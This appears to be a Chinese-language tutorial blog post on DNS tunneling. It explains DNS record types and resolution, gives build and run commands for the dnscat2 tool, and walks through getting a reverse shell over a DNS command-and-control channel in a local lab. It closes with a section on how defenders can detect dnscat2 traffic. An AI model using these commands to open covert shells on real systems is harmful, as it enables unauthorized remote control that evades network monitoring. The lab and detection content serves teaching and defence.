项目地址:https://github.com/iagox86/dnscat2

DNS介绍

DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS的记录类型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

  1. A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。
  2. AAAA记录:记录将域名解析到一个指定的ipv6ip
  3. CNAME记录,别名解析。可以将注册不同的域名解析到一个ip地址。
  4. NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。
  5. MX记录:指向的是一个邮件服务器。
  6. TXT记录:一般是指某个主机名或域名的说明
  7. PTR记录:反向DNS

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。
本地客户端——>Local DNS server——>根域服务器
Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。

DNSCat2 工具介绍

Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
Dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能。

DNSCat2 环境搭建

LInux 客户端搭建

  1. git clone https://github.com/iagox86/dnscat2
  2. cd dnscat2/client/
  3. make

Linux 服务端搭建

  1. # 有ruby 环境下
  2. # 无ruby 环境 apt install ruby-full,我的ruby是2.7
  3. cd dnscat2/server
  4. gem install bundler
  5. apt install ruby-dev
  6. bundler install

反弹shell

首先在服务端运行

  1. # root 模式下
  2. cd dnscat2/server
  3. ruby dnscat2.rb

然后在服务端banner信息中可以看到,如下所示的命令,在客户端处执行
image.png

  1. cd dnscat2/client
  2. make
  3. ./dnscat --dns server=127.0.0.1,port=53 --secret=c229df179cba2226828cd03ff13859a4

image.png
image.png
在服务端执行

  1. windows -a

image.png
进入会话

  1. window -i 1

image.png
image.png
image.png
退出当前通道,进入shell

  1. suspend
  2. windows -a
  3. window -i 2

image.png
image.png

错误分析

  1. 地址被占用

image.png

  1. netstat -ntlp

image.png

  1. # 关闭之后无法上网,这个是dns解析
  2. systemctl stop systemd-resolved.service

运行服务端之后,一直告知warning: Capturing the given block using Kernel#proc is deprecated; use&blockinstead
image.png

  1. # 将错误重定向到指定文件即可
  2. ruby dnscat2.rb 2> error


image.png

流量检测

在使用dnscat2 利用dns隧道进行反弹shell,那么作为防守方该如何检测呢?

特征dnscat

首先在客户端处,会向恶意服务端发送dns请求,且会一直发送,包里都有相同的特征dnscat
image.png

域名特征

其次可以看到解析的域名很长,不符合正常域名
image.png

对比正常dns 解析流量包

正常dns域名解析包如下,通过对比可以发现dnscat2 的特征是非常明显的,正常包是不会有加密
image.png
[

](https://github.com/iagox86/dnscat2)